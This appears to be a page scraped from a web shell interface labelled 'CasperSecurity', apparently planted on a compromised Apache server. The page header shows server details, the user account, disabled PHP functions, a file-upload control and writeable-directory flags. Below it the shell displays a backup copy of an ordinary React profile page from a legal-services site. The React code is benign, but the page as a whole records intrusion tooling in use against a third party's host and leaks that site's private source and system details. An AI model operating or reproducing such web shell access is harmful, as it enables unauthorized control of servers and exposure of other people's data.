T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/backups/lavocat.quebec/backup-20250730-021618/src/pages/jurist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/backups/lavocat.quebec/backup-20250730-021618/src/pages/jurist/profile.tsx
import React, { useEffect, useState } from 'react';
import { useSession } from 'next-auth/react';
import { useRouter } from 'next/router';
import LayoutWithSidebar from '@/components/LayoutWithSidebar';
import { useRequireRole, USER_ROLES } from '@/lib/auth-utils';
import { toast } from 'react-hot-toast';
import { 
  User, 
  BookOpen, 
  GraduationCap, 
  MapPin, 
  Phone, 
  Globe, 
  DollarSign,
  Clock,
  Award,
  Star,
  Save,
  Upload,
  Edit3,
  CheckCircle,
  AlertCircle,
  BarChart2,
  Building,
  Calendar,
  FileText,
  Search,
  Users,
  TrendingUp
} from 'lucide-react';

interface JuristProfile {
  id: string;
  name: string;
  email: string;
  role: string;
  profilePicture?: string;
  bio?: string;
  title?: string;
  specialization?: string;
  barNumber?: string;
  yearsOfExperience?: number;
  education?: string;
  certifications?: string;
  officeLocation?: string;
  workPhone?: string;
  linkedinUrl?: string;
  websiteUrl?: string;
  availability?: string;
  timezone?: string;
  pronouns?: string;
  isProfilePublic?: boolean;
  hourlyRate?: number;
  proBono?: boolean;
  boldnessRating?: number;
  transparencyRating?: number;
  winRate?: number;
  totalCases?: number;
  wonCases?: number;
  lostCases?: number;
  averageRating?: number;
  isVerified?: boolean;
  // Jurist-specific fields
  academicInstitution?: string;
  department?: string;
  academicRank?: string;
  researchAreas?: string;
  publications?: string;
  grants?: string;
  teachingExperience?: string;
  conferences?: string;
  academicAwards?: string;
  researchProjects?: string;
  collaborationNetworks?: string;
  academicCalendar?: string;
  officeHours?: string;
  graduateStudents?: number;
  undergraduateStudents?: number;
  researchFunding?: number;
  citationCount?: number;
}

const JuristProfilePage: React.FC = () => {
  const { data: session, status } = useSession();
  const router = useRouter();
  const [loading, setLoading] = useState(true);
  const [saving, setSaving] = useState(false);
  const [profile, setProfile] = useState<JuristProfile | null>(null);
  const [isEditing, setIsEditing] = useState(false);

  // Role-based access control
  const { isAuthorized } = useRequireRole([
    USER_ROLES.JURIST, 
    USER_ROLES.ADMIN, 
    USER_ROLES.SUPERADMIN, USER_ROLES.SUPERADMIN
  ], '/');

  useEffect(() => {
    if (status === 'loading') return;
    if (!session || !isAuthorized) {
      router.push('/');
      return;
    }
    fetchProfile();
  }, [session, status, router, isAuthorized]);

  const fetchProfile = async () => {
    try {
      const response = await fetch('/api/jurist/profile');
      if (response.ok) {
        const data = await response.json();
        setProfile(data);
      } else {
        toast.error('Failed to load profile');
      }
    } catch (error) {
      toast.error('Failed to load profile');
    } finally {
      setLoading(false);
    }
  };

  const handleSave = async () => {
    if (!profile) return;
    
    setSaving(true);
    try {
      const response = await fetch('/api/jurist/profile', {
        method: 'PUT',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(profile),
      });

      if (response.ok) {
        toast.success('Profile updated successfully!');
        setIsEditing(false);
      } else {
        toast.error('Failed to update profile');
      }
    } catch (error) {
      toast.error('Failed to update profile');
    } finally {
      setSaving(false);
    }
  };

  const handleInputChange = (field: keyof JuristProfile, value: any) => {
    if (!profile) return;
    setProfile({ ...profile, [field]: value });
  };

  const handleFileUpload = async (event: React.ChangeEvent<HTMLInputElement>) => {
    const file = event.target.files?.[0];
    if (!file) return;

    const formData = new FormData();
    formData.append('profilePicture', file);

    try {
      const response = await fetch('/api/upload/profile-picture', {
        method: 'POST',
        body: formData,
      });

      if (response.ok) {
        const data = await response.json();
        setProfile(prev => prev ? { ...prev, profilePicture: data.url } : null);
        toast.success('Profile picture updated!');
      } else {
        toast.error('Failed to upload profile picture');
      }
    } catch (error) {
      toast.error('Failed to upload profile picture');
    }
  };

  if (status === 'loading' || loading) {
    return (
      <LayoutWithSidebar>
        <div className="flex items-center justify-center min-h-screen">
          <div className="animate-spin rounded-full h-12 w-12 border-b-2 border-blue-600"></div>
        </div>
      </LayoutWithSidebar>
    );
  }

  if (!profile) {
    return (
      <LayoutWithSidebar>
        <div className="flex items-center justify-center min-h-screen">
          <div className="text-center">
            <AlertCircle className="h-12 w-12 text-red-500 mx-auto mb-4" />
            <h2 className="text-xl font-semibold text-gray-900 mb-2">Profile Not Found</h2>
            <p className="text-gray-600">Unable to load your profile information.</p>
          </div>
        </div>
      </LayoutWithSidebar>
    );
  }

  return (
    <LayoutWithSidebar>
      <div className="max-w-4xl mx-auto px-4 py-8">
        {/* Header */}
        <div className="flex justify-between items-center mb-8">
          <div>
            <h1 className="text-3xl font-bold text-gray-900">Academic Profile</h1>
            <p className="text-gray-600 mt-2">Manage your academic credentials and research information</p>
          </div>
          <div className="flex gap-3">
            {isEditing ? (
              <>
                <button
                  onClick={() => setIsEditing(false)}
                  className="px-4 py-2 text-gray-600 border border-gray-300 rounded-lg hover:bg-gray-50"
                >
                  Cancel
                </button>
                <button
                  onClick={handleSave}
                  disabled={saving}
                  className="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 disabled:opacity-50 flex items-center gap-2"
                >
                  <Save className="h-4 w-4" />
                  {saving ? 'Saving...' : 'Save Changes'}
                </button>
              </>
            ) : (
              <button
                onClick={() => setIsEditing(true)}
                className="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 flex items-center gap-2"
              >
                <Edit3 className="h-4 w-4" />
                Edit Profile
              </button>
            )}
          </div>
        </div>

        <div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
          {/* Profile Picture Section */}
          <div className="lg:col-span-1">
            <div className="bg-white rounded-lg shadow-sm border border-gray-200 p-6">
              <h2 className="text-lg font-semibold text-gray-900 mb-4 flex items-center gap-2">
                <User className="h-5 w-5" />
                Profile Picture
              </h2>
              
              <div className="text-center">
                <div className="relative inline-block">
                  <img
                    src={profile.profilePicture || '/images/default-avatar.png'}
                    alt={profile.name}
                    className="w-32 h-32 rounded-full object-cover border-4 border-gray-200"
                  />
                  {isEditing && (
                    <label className="absolute bottom-0 right-0 bg-blue-600 text-white p-2 rounded-full cursor-pointer hover:bg-blue-700">
                      <Upload className="h-4 w-4" />
                      <input
                        type="file"
                        accept="image/*"
                        onChange={handleFileUpload}
                        className="hidden"
                      />
                    </label>
                  )}
                </div>
                
                <h3 className="text-xl font-semibold text-gray-900 mt-4">{profile.name}</h3>
                <p className="text-gray-600">{profile.title || 'Jurist'}</p>
                
                {profile.isVerified && (
                  <div className="flex items-center justify-center gap-1 mt-2 text-green-600">
                    <CheckCircle className="h-4 w-4" />
                    <span className="text-sm font-medium">Verified</span>
                  </div>
                )}
              </div>
            </div>

            {/* Academic Stats */}
            <div className="bg-white rounded-lg shadow-sm border border-gray-200 p-6 mt-6">
              <h2 className="text-lg font-semibold text-gray-900 mb-4 flex items-center gap-2">
                <TrendingUp className="h-5 w-5" />
                Academic Statistics
              </h2>
              
              <div className="space-y-3">
                <div className="flex justify-between">
                  <span className="text-gray-600">Publications</span>
                  <span className="font-semibold">{profile.publications?.split(',').length || 0}</span>
                </div>
                <div className="flex justify-between">
                  <span className="text-gray-600">Research Projects</span>
                  <span className="font-semibold">{profile.researchProjects?.split(',').length || 0}</span>
                </div>
                <div className="flex justify-between">
                  <span className="text-gray-600">Graduate Students</span>
                  <span className="font-semibold">{profile.graduateStudents || 0}</span>
                </div>
                <div className="flex justify-between">
                  <span className="text-gray-600">Citation Count</span>
                  <span className="font-semibold">{profile.citationCount || 0}</span>
                </div>
              </div>
            </div>
          </div>

          {/* Main Profile Form */}
          <div className="lg:col-span-2">
            <div className="bg-white rounded-lg shadow-sm border border-gray-200 p-6">
              <h2 className="text-lg font-semibold text-gray-900 mb-6 flex items-center gap-2">
                <BookOpen className="h-5 w-5" />
                Academic Information
              </h2>

              <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                {/* Academic Information */}
                <div className="space-y-4">
                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Academic Institution
                    </label>
                    <input
                      type="text"
                      value={profile.academicInstitution || ''}
                      onChange={(e) => handleInputChange('academicInstitution', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="e.g., McGill University"
                    />
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Department
                    </label>
                    <input
                      type="text"
                      value={profile.department || ''}
                      onChange={(e) => handleInputChange('department', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="e.g., Faculty of Law"
                    />
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Academic Rank
                    </label>
                    <select
                      value={profile.academicRank || ''}
                      onChange={(e) => handleInputChange('academicRank', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                    >
                      <option value="">Select academic rank</option>
                      <option value="Professor">Professor</option>
                      <option value="Associate Professor">Associate Professor</option>
                      <option value="Assistant Professor">Assistant Professor</option>
                      <option value="Lecturer">Lecturer</option>
                      <option value="Adjunct Professor">Adjunct Professor</option>
                      <option value="Research Fellow">Research Fellow</option>
                      <option value="Postdoctoral Fellow">Postdoctoral Fellow</option>
                    </select>
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Years of Experience
                    </label>
                    <input
                      type="number"
                      value={profile.yearsOfExperience || ''}
                      onChange={(e) => handleInputChange('yearsOfExperience', parseInt(e.target.value) || 0)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="0"
                    />
                  </div>
                </div>

                {/* Contact Information */}
                <div className="space-y-4">
                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Office Location
                    </label>
                    <input
                      type="text"
                      value={profile.officeLocation || ''}
                      onChange={(e) => handleInputChange('officeLocation', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="e.g., Room 501, Faculty of Law"
                    />
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Work Phone
                    </label>
                    <input
                      type="tel"
                      value={profile.workPhone || ''}
                      onChange={(e) => handleInputChange('workPhone', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="(555) 123-4567"
                    />
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      LinkedIn URL
                    </label>
                    <input
                      type="url"
                      value={profile.linkedinUrl || ''}
                      onChange={(e) => handleInputChange('linkedinUrl', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="https://linkedin.com/in/yourprofile"
                    />
                  </div>

                  <div>
                    <label className="block text-sm font-medium text-gray-700 mb-2">
                      Academic Website
                    </label>
                    <input
                      type="url"
                      value={profile.websiteUrl || ''}
                      onChange={(e) => handleInputChange('websiteUrl', e.target.value)}
                      disabled={!isEditing}
                      className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                      placeholder="https://yourwebsite.com"
                    />
                  </div>
                </div>
              </div>

              {/* Research Areas */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Research Areas
                </label>
                <textarea
                  value={profile.researchAreas || ''}
                  onChange={(e) => handleInputChange('researchAreas', e.target.value)}
                  disabled={!isEditing}
                  rows={3}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="e.g., Constitutional Law, Human Rights, International Law, Legal Theory..."
                />
              </div>

              {/* Publications */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Publications
                </label>
                <textarea
                  value={profile.publications || ''}
                  onChange={(e) => handleInputChange('publications', e.target.value)}
                  disabled={!isEditing}
                  rows={4}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="List your key publications, books, articles, and research papers..."
                />
              </div>

              {/* Research Projects */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Current Research Projects
                </label>
                <textarea
                  value={profile.researchProjects || ''}
                  onChange={(e) => handleInputChange('researchProjects', e.target.value)}
                  disabled={!isEditing}
                  rows={3}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="Describe your current research projects and collaborations..."
                />
              </div>

              {/* Teaching Experience */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Teaching Experience
                </label>
                <textarea
                  value={profile.teachingExperience || ''}
                  onChange={(e) => handleInputChange('teachingExperience', e.target.value)}
                  disabled={!isEditing}
                  rows={3}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="List courses taught, teaching methods, and pedagogical approaches..."
                />
              </div>

              {/* Academic Awards */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Academic Awards & Recognition
                </label>
                <textarea
                  value={profile.academicAwards || ''}
                  onChange={(e) => handleInputChange('academicAwards', e.target.value)}
                  disabled={!isEditing}
                  rows={3}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="List academic awards, honors, fellowships, and recognition..."
                />
              </div>

              {/* Collaboration Networks */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Collaboration Networks
                </label>
                <textarea
                  value={profile.collaborationNetworks || ''}
                  onChange={(e) => handleInputChange('collaborationNetworks', e.target.value)}
                  disabled={!isEditing}
                  rows={3}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="Describe your research collaborations, networks, and partnerships..."
                />
              </div>

              {/* Office Hours */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Office Hours
                </label>
                <textarea
                  value={profile.officeHours || ''}
                  onChange={(e) => handleInputChange('officeHours', e.target.value)}
                  disabled={!isEditing}
                  rows={2}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="e.g., Mondays 2-4 PM, Wednesdays 10-12 AM"
                />
              </div>

              {/* Bio */}
              <div className="mt-6">
                <label className="block text-sm font-medium text-gray-700 mb-2">
                  Academic Bio
                </label>
                <textarea
                  value={profile.bio || ''}
                  onChange={(e) => handleInputChange('bio', e.target.value)}
                  disabled={!isEditing}
                  rows={4}
                  className="w-full px-3 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 disabled:bg-gray-50"
                  placeholder="Tell about your academic journey, research interests, and contributions to legal scholarship..."
                />
              </div>

              {/* Public Profile Toggle */}
              <div className="mt-6">
                <label className="flex items-center">
                  <input
                    type="checkbox"
                    checked={profile.isProfilePublic || false}
                    onChange={(e) => handleInputChange('isProfilePublic', e.target.checked)}
                    disabled={!isEditing}
                    className="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded"
                  />
                  <span className="ml-2 text-sm text-gray-700">
                    Make academic profile public
                  </span>
                </label>
              </div>
            </div>
          </div>
        </div>
      </div>
    </LayoutWithSidebar>
  );
};

export default JuristProfilePage; 

CasperSecurity Mini